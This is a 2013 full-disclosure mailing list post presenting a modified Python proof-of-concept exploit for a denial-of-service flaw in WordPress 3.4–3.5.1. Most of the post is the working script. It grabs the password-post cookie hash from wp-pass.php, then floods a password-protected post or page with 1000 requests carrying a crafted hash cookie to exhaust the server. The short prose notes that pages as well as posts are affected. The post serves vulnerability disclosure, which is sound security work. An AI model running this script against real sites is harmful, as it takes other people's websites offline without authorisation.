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List:       full-disclosure
Subject:    [Full-disclosure] WordPress Denial of Service exploit
From:       "MustLive" <mustlive () websecurity ! com ! ua>
Date:       2013-06-29 20:51:42
Message-ID: 009b01ce750a$868a33d0$9b7a6fd5 () pc
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Hello list!

Here is my version of vnd's PoC
(https://vndh.net/note:wordpress-351-denial-service). This exploit is for
Denial of Service vulnerability in WordPress 3.4 - 3.5.1. My version solves
some issues in original PoC.

Concerning this Denial of Service in WordPress. As I wrote last week in my
post concerning release of WordPress 3.5.2, this issue concerns both posts
and pages which are password protected. Not only posts as vnd wrote and
similarly WP guys wrote at their site (in WP 3.5.2 announcement and in the
codex). Since WordPress supports password at both posts and pages, as I
wrote in 2010 concerning Brute Force and Insufficient Authorization
vulnerabilities in WordPress
(http://www.securityfocus.com/archive/1/510274).

wordpress-dos.py

# WordPress Denial of Service exploit
# WordPress 3.4 - 3.5.1
# Author: vnd at vndh.net
# Version by MustLive (http://websecurity.com.ua)
import httplib
import re

def get_cookie_hash(hostname, url):
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
    handler = httplib.HTTPConnection(hostname)
    handler.request('POST', url, 'post_password=', headers=headers)
    response = handler.getresponse()
    set_cookie = response.getheader('set-cookie')
    if set_cookie is None: raise RuntimeError('cannot fetch set-cookie
header')

    pattern = re.compile('wp-postpass_([0-9a-f]{32})')
    result = pattern.search(set_cookie)
    if result is None: raise RuntimeError('cannot fetch cookie hash')
    return result.groups()[0]

def send_request(hostname, post, cookie_name):
    headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name}
    handler = httplib.HTTPConnection(hostname)
    handler.request('GET', post, 'action=postpass&post_password=a',
headers=headers)

if __name__ == '__main__':
    hostname = 'site'
    posturl = '/?p=4' # link to password protected post or page
    requests = 1000

    pattern = re.compile('(.+/)')
    url = pattern.search(posturl).groups()[0] + 'wp-pass.php'
    cookie_hash = get_cookie_hash(hostname, url)
    print '[+] received cookie hash: %s' % cookie_hash
    for i in xrange(requests):
        print '[+] sending request %d...' % (i + 1)
        send_request(hostname, posturl, cookie_hash)

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


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